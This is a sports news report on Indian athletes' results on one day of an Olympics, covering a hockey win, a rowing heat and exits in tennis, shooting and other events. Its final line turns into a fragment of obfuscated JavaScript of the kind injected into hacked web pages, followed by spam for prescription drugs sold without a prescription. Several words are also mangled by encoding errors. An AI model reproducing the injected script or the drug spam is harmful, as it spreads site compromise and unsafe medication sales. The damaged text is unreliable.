Breaking a 12-year-old Olympics jinx, the menas hockey team started their campaign by winning their opening group stage encounter against the Irish, while rower Bhokanal entered the quarterfinals of the men’s singles sculls rowing competition by finishing third in his heat.
The Indian contingent faced disappointing exits in the shooting range, tennis court, table tennis arena, and the weightlifting arena on Saturday.
Paes and his doubles partner Rohan Bopanna were knocked out in straight sets by the Polish pair of Marcin Matkowski and Lukasz Kubot 4-6 6-7 (6-8). This put an end to Paesa dream of bagging his second Olympics medal in his record seventh appearance, after a bronze in Atlantaas 1996 Games.
An emotional Paes could not hide his disappointment, and said that he had “become a soft target” which was the reason people were “taking potshots” at him.
Sania Mirza, the world number one in doubles, with much lower ranked partner Prarthana Thombare, could not stand up to the challenges posed by the Chinese pair of Shuai Zhang and Shuai Peng,.
Zhang and Peng won a closely contested match 7-6 (8-6) 5-7 7-5 that lasted two hours and 44 minutes, after the Indian duo put up a stiff resistance.
Indian shooters also failed to make a mark as medal hopeful Jitu Rai shot an overall 78.7 to finish eighth in the men’s 10m Air Pistol final. The 28-year-old got off to a poor start, and became the first shooter to crash out of the final round that included the likes of Hoang Xuan Vinh, Pang Wei, Wu Felipe Almeida, Tuzinsky Juraj, Jin Jongoh, Gontcharov Vladimira and Gordon Giuseppe.
Gurpreet Singh, participant in the men’s 10m Air Pistol, failed to make it to the final. There was more disappointment when Apurvi Chandela and Ayonika Paul crashed out in the qualification round of their respective events. b322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} buy zoloft, lioresal without prescription.
